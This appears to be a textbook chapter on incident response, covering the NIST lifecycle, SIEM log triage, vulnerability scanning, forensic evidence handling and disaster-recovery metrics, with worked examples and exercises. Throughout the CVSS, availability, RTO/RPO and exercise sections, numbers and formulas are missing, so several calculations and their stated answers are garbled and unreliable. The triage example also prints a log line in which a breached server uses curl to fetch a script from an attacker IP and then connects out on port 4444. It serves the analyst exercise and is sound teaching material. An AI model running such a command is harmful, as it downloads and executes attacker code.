Incident Response and Risk Management
Open in the Padhaiko app6.1 Incident Response Planning and Management
Preventive controls reduce risk, but no defense is impenetrable. Incident Response (IR) is the structured organizational capability to prepare for, detect, contain, eradicate, and recover from cyber security incidents rapidly while minimizing operational damage, data loss, and legal exposure.
Incident Response Plan (IRP) and Team Structure
- IRP: A formal policy document defining incident scope, severity tiers, roles, communication trees (internal IT, executive leadership, legal/PR, regulators), and escalation paths.
- Playbooks vs. Runbooks: Playbooks outline high-level scenario workflows (e.g., Ransomware Playbook, Phishing Playbook); runbooks provide step-by-step technical commands for SOC analysts.
- CSIRT / SOC: The Computer Security Incident Response Team coordinates technical investigation, containment, forensics, and recovery.
NIST SP 800-61 Incident Response Lifecycle
- Preparation: Build the CSIRT, deploy SIEM/EDR/centralized logging, maintain offline backups, prepare forensic jump kits, and conduct tabletop exercises before an attack occurs.
- Detection and Analysis: Monitor alerts, correlate logs, validate true positives, determine scope, and classify severity.
- Containment, Eradication, and Recovery:
- Containment: Stop the bleeding immediately (isolate host on EDR, disable compromised account, block C2 IP/domain) without destroying volatile forensic evidence.
- Eradication: Remove root cause—delete malware/persistence mechanisms, close exploited vulnerabilities, reset compromised credentials.
- Recovery: Restore clean systems from verified backups, monitor closely for re-infection, and return to production.
- Post-Incident Activity: Conduct lessons-learned reviews, calculate response metrics, and update detection rules and controls.
6.2 Incident Identification and Classification
Accurate identification prevents both alert fatigue (chasing benign anomalies) and missed breaches (ignoring subtle compromises).
Event, Alert, and Security Incident
- Event: Any observable occurrence in a system or network (e.g., user login, firewall packet drop, HTTP
200 OK). - Adverse Event / Alert: An event with negative consequence or a rule match flagged by SIEM/IDS/EDR for analyst review.
- Security Incident: A confirmed violation or imminent threat of violation of computer security policies, acceptable use policies, or standard security practices (e.g., unauthorized root access, ransomware execution, confirmed data exfiltration).
Incident Classification & Severity Matrix
Incidents are categorized by attack vector (Malware, Ransomware, Phishing/BEC, Unauthorized Access, DoS/DDoS, Data Exfiltration, Insider Threat) and assigned a Priority / Severity based on Asset Criticality Impact Scope:
- P1 (Critical): Active breach on mission-critical infrastructure, confirmed PII/IP exfiltration, or widespread ransomware; immediate 24/7 war-room response.
- P2 (High): Compromise of a standard server/workstation or targeted credential theft with potential lateral movement.
- P3 (Medium): Contained single-endpoint malware or isolated policy violation with no data exposure.
- P4 (Low): Benign recon/port scan blocked at the perimeter or minor configuration drift.
6.3 Security Monitoring and Log Analysis (System, Application, Firewall and Authentication Logs, Indicators of Compromise, Alert Investigation)
Effective monitoring centralizes telemetry into a SIEM (Security Information and Event Management) platform with synchronized NTP clocks in UTC so timelines across machines align accurately.
| Log Source | Typical Location / Format | Key Security Signals |
|---|---|---|
| System / OS Logs | Linux /var/log/syslog, Windows Event Logs (4688 process create, 7045 new service) | Unexpected services, scheduled tasks, privilege escalation, kernel crashes |
| Application Logs | Web servers (access.log, error.log), DB audit logs | SQLi payloads (UNION SELECT), path traversal (../), abnormal 500 errors, large POST/download spikes |
| Firewall Logs | Perimeter / NGFW syslog (ALLOW/DENY, 5-tuple, bytes) | Outbound C2 connections on non-standard ports, large anomalous egress transfers, internal port sweeps |
| Authentication Logs | /var/log/auth.log, AD Security (4624 logon, 4625 failed logon), IdP/SSO | Password spraying, impossible travel, off-hours logins, sudden MFA push fatigue |
Indicators of Compromise (IoCs) vs. Indicators of Attack (IoAs)
- IoCs (Forensic Artifacts): Static evidence that a breach may have occurred—malicious file SHA-256 hashes, C2 IP addresses/domains, suspicious registry run keys, or rogue user accounts.
- IoAs (Behavioral Intent): Real-time sequence of attacker actions regardless of specific malware hash (e.g., Word spawning PowerShell with an encoded command, followed by
whoamiand LSASS memory access).
Alert Investigation Workflow
- Verify Context: Inspect raw logs around the alert timestamp (process parent-child tree, source IP reputation, user role).
- Determine Scope: Identify "patient zero" and pivot across SIEM logs to see if other hosts communicated with the same C2 IP or account.
- Rule Out or Confirm: Classify as False Positive (tune rule), Benign True Positive (authorized pentest/admin script), or Malicious True Positive (escalate to incident).
6.4 Incident Triage and Escalation (Event Correlation and Detection Rules)
1. Triage and Escalation
Triage is the rapid sorting and prioritization of incoming alerts so analysts tackle high-impact threats first rather than processing alerts strictly FIFO.
- Functional Escalation: Routing an alert from Tier 1 SOC analysts to Tier 2/3 threat hunters, malware reverse engineers, or digital forensics specialists when deeper investigation is required.
- Hierarchical Escalation: Notifying executive management, Legal, Compliance/DPO, and PR when severity crosses thresholds (e.g., P1 outage, regulated data breach).
2. Event Correlation and Detection Rules
Individual log lines rarely tell the whole story. A SIEM correlation rule links related events across distinct sources within a sliding time window to detect multi-stage attacks with far fewer false positives:
- Correlation Pattern Example:
>= 15 failed SSH/RDP logins (Event 4625)from IP within FOLLOWED BY1 successful login (Event 4624)from IP FOLLOWED BYnew local admin account creation (Event 4720)within . - Rule Formats: Sigma provides vendor-neutral YAML rules for SIEM log detection, while YARA matches byte/string patterns in files and memory.
SIEM Log Correlation and Triage Investigation
A Tier-1 SOC analyst observes the following correlated log sequence (UTC) for server app-srv-02 (10.20.1.15):
14:02:11 AUTH 198.51.100.77 -> 10.20.1.15 Failed SSH login (user: deploy) [x24 in 40s]
14:02:58 AUTH 198.51.100.77 -> 10.20.1.15 Accepted password for deploy
14:03:19 OS/AUDIT 10.20.1.15 user=deploy Executed: curl http://203.0.113.44/lin.sh -o /tmp/lin.sh
14:03:45 FIREWALL 10.20.1.15 -> 203.0.113.44:4444 ALLOW OUTBOUND TCP (bytes=48,200)(a) Classify the incident and severity, (b) list the IoCs, and (c) state immediate containment and eradication actions.
Classify the incident and extract IoCs:
- Classification: Unauthorized Access + Malware Staging / C2 Beaconing (brute-force SSH compromise followed by payload download and reverse-shell egress).
- Severity: High (P2) (or P1 if
app-srv-02hosts sensitive production customer data), requiring immediate escalation. - Extracted IoCs: Attacker IPs
198.51.100.77and203.0.113.44, port4444/tcp, URLhttp://203.0.113.44/lin.sh, file path/tmp/lin.sh, and compromised accountdeploy.
Execute Containment, Eradication, and Follow-up:
- Containment: Network-isolate
app-srv-02via EDR/firewall (keeping memory intact if forensics is needed), lock/disable thedeployaccount and revoke its SSH keys, and block198.51.100.77and203.0.113.44at the perimeter firewall. - Eradication & Recovery: Inspect
/tmp/lin.sh, cron jobs,authorized_keys, and running processes for persistence; rebuildapp-srv-02from a known-good image if integrity cannot be guaranteed; enforce SSH key-only auth + MFA and restrict SSH access to VPN/bastion IPs only.
Confirmed SSH brute-force compromise and C2 callback (High/P2). Isolate app-srv-02, disable deploy, block 198.51.100.77 and 203.0.113.44, check for persistence/lateral movement, and harden SSH behind VPN + key/MFA auth.
6.5 Risk Assessment and Vulnerability Scanning
Risk Assessment identifies organizational assets, maps threats and vulnerabilities, scores likelihood and impact, and prioritizes remediation before incidents occur.
Vulnerability Scanning & CVSS Prioritization
- Unauthenticated (External) Scan: Probes open ports and service banners from the outside like an attacker; identifies exposed services and weak TLS, but misses missing OS/library patches hidden behind firewalls.
- Authenticated (Credentialed) Scan: Logs in with a read-only scanner account to query exact installed package versions, registry keys, and configuration baselines—delivering far fewer false negatives.
- CVSS (Common Vulnerability Scoring System): Assigns a severity score based on Base Metrics (Attack Vector, Complexity, Privileges Required, User Interaction, Scope, CIA impact):
- None: | Low: | Medium: | High: | Critical: .
- Smart Prioritization: Combine CVSS with active exploitation status (e.g., CISA KEV), EPSS probability, and internet exposure—an Internet-facing CVSS RCE with a public exploit outranks an isolated internal CVSS flaw requiring local physical access.
| Aspect | Vulnerability Scanning | Penetration Testing |
|---|---|---|
| Goal | Broadly identify and inventory known CVEs and misconfigurations | Actively exploit vulnerabilities to prove real-world impact and chaining paths |
| Method | Mostly automated (Nessus, OpenVAS, Qualys) | Manual + tool-assisted human creativity (exploitation, pivoting, privilege escalation) |
| Frequency | Continuous / weekly / monthly | Periodic (quarterly, annually, or after major releases) |
| False Positives | Moderate (requires analyst validation) | Near zero (successful exploitation proves the flaw is real) |
6.6 Digital Forensics and Evidence Handling (Preservation of Logs and Digital Evidence, Basic File and Log Examination, Evidence Integrity, Documentation and Chain of Custody)
When an incident may lead to disciplinary action, regulatory audit, or criminal prosecution, evidence must be collected and preserved in a forensically sound manner.
1. Order of Volatility (RFC 3227)
Evidence vanishes at different speeds. Investigators always collect from most volatile to least volatile:
- CPU registers and cache
- Routing tables, ARP cache, process table, kernel statistics, and RAM (physical memory) (holds decrypted keys, unlinked malware, active sockets)
- Temporary file systems / swap space
- Hard disks / SSDs (non-volatile storage)
- Remote logging & monitoring data (SIEM/syslog)
- Physical configuration, network topology, and archival offline backups
2. Evidence Preservation & Integrity
- Never analyze live original evidence directly. Mount/connect physical drives through a hardware write blocker so the OS cannot modify timestamps or unallocated sectors.
- Bit-Stream Forensic Imaging: Clone every sector (including unallocated space and slack space) using tools like
dd/dc3dd/ FTK Imager. - Cryptographic Hashing: Compute SHA-256 (or SHA-512) of the original medium and the acquired image immediately upon acquisition, and re-verify the hash before every examination to prove zero tampering.
- Log Preservation: Copy centralized logs to write-once/WORM or append-only storage with hashes so attackers cannot scrub local
/var/log/files.
3. Basic File and Log Examination & Chain of Custody
- Examination: Inspect file magic headers (detecting disguised executables), MACB timestamps (Modified, Accessed, Changed/MFT, Birth), browser/shell histories (
~/.bash_history), and correlated web/firewall/auth logs. - Documentation & Chain of Custody: Every item receives a unique evidence ID, detailed acquisition notes (tool version, UTC time, system state), and a continuous Chain of Custody form recording who collected, transferred, accessed, or stored the evidence, when, why, and the matching cryptographic hash. Any unexplained gap in custody can render evidence inadmissible in court.
6.7 Post-Incident Analysis, Reporting and Disaster Recovery Planning
1. Post-Incident Analysis and Reporting
- Lessons Learned ("Post-Mortem"): Held within days of incident closure while details are fresh. Focuses on root cause, what worked, and what failed—producing concrete action items (new SIEM rules, MFA rollout, architecture changes).
- Key Metrics:
- MTTD (Mean Time to Detect): Average elapsed time from initial compromise to alert detection.
- MTTR (Mean Time to Respond / Recover): Average time to contain, eradicate, and restore normal service.
- Reporting: Produce an executive summary (business impact, cost, regulatory notifications such as 72-hour GDPR reporting) and a technical appendix (timeline, IoCs, root cause).
2. Disaster Recovery Planning (DRP) & Business Continuity (BCP)
While BCP keeps critical business processes running during disruptions, DRP focuses on restoring IT systems, networks, and data after major cyber incidents or physical disasters.
RTO, RPO, MTBF, MTTR, and Availability
- Recovery Time Objective (RTO): Maximum tolerable duration a system can remain down after an incident before unacceptable business harm occurs.
- Recovery Point Objective (RPO): Maximum tolerable amount of data loss measured in time (e.g., means backups/replication must occur at least hourly).
- Mean Time Between Failures (MTBF): Average operational uptime between failures.
- Mean Time to Repair / Recover (MTTR): Average time needed to restore service after a failure.
- Steady-State Availability ():
- Backup Strategies: 3-2-1 Rule ( copies, distinct media types, offsite/offline immutable copy); combining Full, Differential (changes since last Full), and Incremental (changes since last backup of any type) backups.
- Recovery Sites: Cold site (power/space only; slowest RTO, lowest cost), Warm site (pre-installed hardware/network, needs recent data restore), and Hot site (real-time mirrored infrastructure; near-zero RTO/RPO, highest cost).
Evaluating Availability, MTTD/MTTR, and RPO Compliance
A payment gateway operates with and . Its Disaster Recovery Plan mandates and . (a) Compute the system's steady-state availability as a percentage. (b) Backups consist of a weekly Sunday full backup plus incremental snapshots every , and full restoration takes (plus for log validation). Does this backup plan meet both RPO and RTO?
Compute Steady-State Availability:
Check RPO and RTO compliance:
- Worst-case data loss (RPO check): Because incremental backups run every , a crash just before the next snapshot loses at most of transactions. Since , the RPO target is met.
- Worst-case recovery duration (RTO check): Restoration + verification takes . Since , the RTO target is met (assuming the incremental chain is tested regularly and stored offline/immutable against ransomware).
(a) Steady-state availability . (b) Yes: max data loss is (RPO met), and recovery takes (RTO met).
Forensic Acquisition and Chain of Custody on a Compromised Host (Exam Model)
An administrator suspects a Linux database server has been compromised by a memory-resident backdoor. Outline the forensically sound steps to preserve evidence under RFC 3227, verify integrity, and maintain Chain of Custody.
Capture volatile evidence first (RFC 3227 Order of Volatility): Before powering off or rebooting (which wipes RAM!), acquire a full physical memory dump (e.g., via LiME) along with active network connections, process lists, and kernel state onto an externally attached clean forensic drive, hashing the capture immediately with SHA-256.
Acquire non-volatile disk image and remote logs: Power down cleanly (or pull power only if active wiper malware threatens disk), remove/attach the disk via a hardware write blocker, create a raw bit-stream image (dc3dd), and record its SHA-256 hash. Export matching SIEM/firewall/auth logs to append-only storage with hashes.
Maintain Chain of Custody and work only on verified copies: Record evidence ID, UTC timestamps, collector name/signature, storage location, and SHA-256 digests on the Chain of Custody log for every transfer. Perform all file/MACB timeline examination strictly on a verified working copy of the image, never on the master evidence drive.
Collect volatile RAM and socket state before powering down, image storage through a hardware write blocker with immediate SHA-256 hashing, preserve remote SIEM logs, and document every custody transfer on a signed Chain of Custody log while analyzing only copies.
Exercises
A cloud cluster has and . Calculate its availability percentage and average downtime over a -day (-hour) month. If the organization's SLA requires , would daily midnight backups satisfy it?
Compute Availability and monthly downtime:
Evaluate RPO compliance: Daily midnight backups allow up to of data loss if failure occurs at , violating . Hourly snapshots or continuous database log replication is required instead.
Availability ( downtime per month). Daily backups fail ; hourly/continuous replication is needed.
List the four phases of the NIST SP 800-61 Incident Response Lifecycle and clearly distinguish between Containment, Eradication, and Recovery.
State the four NIST SP 800-61 phases:
- Preparation (tools, playbooks, training, logging, backups)
- Detection and Analysis (monitoring, alert triage, scoping, severity classification)
- Containment, Eradication, and Recovery
- Post-Incident Activity (lessons learned, metrics, control updates)
Distinguish Containment, Eradication, and Recovery:
- Containment limits damage immediately (isolating infected hosts, blocking C2 IPs, suspending accounts) without erasing evidence.
- Eradication eliminates the attacker's foothold (removing malware, backdoors, persistence scripts, and patching the exploited vulnerability).
- Recovery restores clean data/services from trusted backups, validates integrity, and monitors closely during return to production.
NIST 800-61 comprises Preparation, Detection & Analysis, Containment/Eradication/Recovery, and Post-Incident Activity. Containment isolates impact, Eradication removes root cause and persistence, and Recovery safely restores normal operations.
Explain why Event Correlation across System, Firewall, and Authentication logs is superior to single-log alerting, and define IoC vs. IoA.
Explain cross-source Event Correlation: Single logs often look benign or noisy in isolation (e.g., occasional failed SSH logins happen constantly on public IPs). Correlating Authentication logs (4625 failures 4624 success), OS audit logs (suspicious process launch), and Firewall logs (outbound connection on an unusual port) within a short time window confirms a multi-step compromise with high confidence and low false positives.
Define IoC vs. IoA: An Indicator of Compromise (IoC) is a static forensic artifact (file hash, malicious IP/domain, registry key) showing past/present intrusion, whereas an Indicator of Attack (IoA) captures dynamic attacker behavior and intent (e.g., credential dumping or lateral movement tactics) regardless of specific hashes.
Event correlation links weak signals across Auth, OS, and Firewall logs into high-confidence multi-stage alerts. IoCs are static artifacts of intrusion (hashes/IPs), whereas IoAs detect real-time adversarial behavior.
Contrast Authenticated vs. Unauthenticated vulnerability scanning, and explain how Vulnerability Scanning differs from Penetration Testing.
Contrast Authenticated vs. Unauthenticated Scanning:
- Unauthenticated scans probe externally without credentials, revealing exposed ports and banners like an outsider, but missing local OS/library vulnerabilities behind services.
- Authenticated scans sign in with read-only privileges to inspect exact installed packages, patches, and configs, providing complete internal accuracy.
Compare Vulnerability Scanning vs. Penetration Testing: Vulnerability scanning is an automated, broad inventory of potential flaws (requiring verification of false positives). Penetration testing goes further: human testers chain and actively exploit vulnerabilities to prove business impact, bypass controls, and test detection/response.
Authenticated scans use credentials to inspect internal patch/config state accurately, whereas unauthenticated scans see only the external surface. Vulnerability scanning catalogs potential flaws broadly; penetration testing actively exploits chained flaws to demonstrate real risk.
State the RFC 3227 Order of Volatility for digital evidence collection and explain the purpose of write blockers, cryptographic hashing, and Chain of Custody.
List RFC 3227 Order of Volatility (most to least volatile): CPU registers/cache RAM (memory, network sockets, process state) Swap/temp files Disks/SSDs Remote logging/monitoring data Archival backups and topology records.
Explain forensic integrity controls:
- Write Blocker: Hardware/software barrier preventing any write operations to original media so timestamps and unallocated sectors remain untouched.
- Cryptographic Hashing (SHA-256): Generates a digital fingerprint at acquisition and before analysis to prove the forensic image is an exact, unaltered bit-for-bit copy.
- Chain of Custody: Chronological signed ledger documenting every person who handled, transferred, or stored the evidence with timestamps and hashes, preserving legal admissibility.
Collect most volatile evidence first (Registers RAM Swap Disk Remote logs Backups). Write blockers prevent source modification, SHA-256 hashing proves bit-exact integrity, and Chain of Custody documents unbroken custody for court admissibility.